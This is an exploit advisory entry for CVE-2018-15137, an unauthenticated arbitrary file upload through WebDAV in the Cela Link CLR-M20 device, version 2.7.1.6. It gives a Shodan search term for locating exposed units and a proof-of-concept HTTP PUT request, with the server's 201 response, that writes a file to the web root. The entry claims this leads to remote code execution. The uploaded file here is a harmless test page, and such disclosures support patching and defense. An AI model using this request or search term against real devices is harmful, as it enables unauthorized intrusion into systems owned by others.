# Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload
# Date: 2018-07-13
# Shodan Dork: CLR-M20
# Exploit Author: Safak Aslan
# Software Link: http://www.celalink.com
# Version: 2.7.1.6
# CVE: 2018-15137
# Authentication Required: No
# Tested on: Windows

# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server, Cela Link CLR-M20 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.

# Proof-of-Concept
# Request

PUT /test.html HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 26

the reflection of random numbers 1230123012

# Response

HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Jul 2018 14:38:54 GMT
Server: lighttpd/1.4.20

As a result, on the targetIP/test.html, "the reflection of random numbers
1230123012" is reflected on the page.